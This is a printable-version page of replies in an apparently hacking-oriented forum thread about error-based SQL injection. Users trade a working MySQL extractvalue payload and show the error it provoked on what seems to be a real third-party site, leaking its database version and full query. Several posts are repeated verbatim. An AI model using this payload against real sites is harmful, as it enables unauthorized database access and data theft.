Error-Based sql injection (a "new" approach)

Error-Based sql injection (a "new" approach) - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: Error-Based sql injection (a "new" approach) (/Thread-Error-Based-sql-injection-a-new-approach)

Pages: 1 2 3 4

RE: Error-Based sql injection (a "new" approach) - EgyptGhost - 10-21-2013

i found it
its code working fine

Code:
and extractvalue(null,concat(0x2a,(select version())))

An internal error has occured.

Code:
XPATH syntax error: '5.1.70-log'

Sql:SELECT COUNT(image_id) as count FROM southbay_showimages WHERE show_id=1 and extractvalue(null,concat(0x2a,(select version())))

RE: Error-Based sql injection (a "new" approach) - RogueCoder - 10-23-2013

@EgyptGhost That's the idea here. You dump the data into the error message

Quote:XPATH syntax error: '5.1.70-log'

Here 5.1.70-log is the database version

RE: Error-Based sql injection (a "new" approach) - RogueCoder - 10-23-2013

@EgyptGhost That's the idea here. You dump the data into the error message

Quote:XPATH syntax error: '5.1.70-log'

Here 5.1.70-log is the database version

RE: Error-Based sql injection (a "new" approach) - RogueCoder - 10-23-2013

@EgyptGhost That's the idea here. You dump the data into the error message

Quote:XPATH syntax error: '5.1.70-log'

Here 5.1.70-log is the database version

RE: Error-Based sql injection (a "new" approach) - EgyptGhost - 10-23-2013

(10-23-2013, 10:01 AM)shp0ngl3 Wrote: @EgyptGhost That's the idea here. You dump the data into the error message

Quote:XPATH syntax error: '5.1.70-log'
Here 5.1.70-log is the database version

i know i understand that now thanks man for idea Smile

RE: Error-Based sql injection (a "new" approach) - EgyptGhost - 10-23-2013

(10-23-2013, 10:01 AM)shp0ngl3 Wrote: @EgyptGhost That's the idea here. You dump the data into the error message

Quote:XPATH syntax error: '5.1.70-log'
Here 5.1.70-log is the database version

i know i understand that now thanks man for idea Smile

RE: Error-Based sql injection (a "new" approach) - EgyptGhost - 10-23-2013

(10-23-2013, 10:01 AM)shp0ngl3 Wrote: @EgyptGhost That's the idea here. You dump the data into the error message

Quote:XPATH syntax error: '5.1.70-log'
Here 5.1.70-log is the database version

i know i understand that now thanks man for idea Smile

RE: Error-Based sql injection (a "new" approach) - RogueCoder - 10-23-2013

You're welcome Smile